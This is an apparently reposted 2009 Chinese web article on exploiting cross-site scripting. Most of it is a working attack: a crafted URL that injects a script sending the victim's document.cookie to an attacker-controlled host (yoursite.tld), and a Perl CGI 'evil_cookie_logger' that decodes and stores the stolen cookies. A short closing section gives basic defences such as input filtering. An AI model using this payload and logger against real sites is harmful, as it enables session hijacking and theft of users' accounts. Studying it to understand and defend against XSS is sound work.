简单分析跨站脚本攻击挂马利用
2009-02-12 13:55:43 来源:WEB开发网获取cookie并且做记录实例:
注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies,使用javascript创建访问者的cookies,javascript脚本放在index.html文件中。
假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:
http://website.tld/program.cgi?input=<恶意javascript>
我们创建这样一个连接:
http://website.tld/program.cgi?input=<script>document.location=’http://yoursite.tld/cgi-bin/evil_cookie_logger.cgi?’+document.cookie</script>
然后让保存该站点cookie的用户访问这个连接:
这是我们的CGI脚本,它的作用就是对用户cookie做记录:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
#evil_cookie_logger.cgi
#remotecookieloggingCGIcodedbyBrainRawt
#
#NOTE:codedasaproofofconceptscriptwhentestingfor
# cross-sitescriptingvulnerabilities.
$borrowed_info=$ENV{’QUERY_STRING’};
$borrowed_info=~s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/eg;
open(EVIL_COOKIE_LOG,">>evil_cookie_log")orprint"Content-type:
text/htmlnnsomethingwentwrongn";
printEVIL_COOKIE_LOG"$borrowed_infon";
print"Content-type:text/htmlnn";
close(EVIL_COOKIE_LOG);
------------------------------------------
该脚本首先通过 $ENV{’QUERY_STRING’}获得cookie,打印到$borrowed_info变量里,通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_log文件。
注意:上面的脚本,可能在一些浏览器或者站点上不能执行,用户需要根据自己的情况进行修改。
如何防范XSS攻击?
1、在WEB浏览器上禁用javascript脚本
2、开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">",可以把"<",">"转换为<,>
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。
对受害者来说不要访问包含<script>字符的连接,通常正规可信的URL不会包括任何脚本元素。
补充:现已存在利用XSS漏洞挂马现象,用户及网站管理员需警惕。
更多精彩
赞助商链接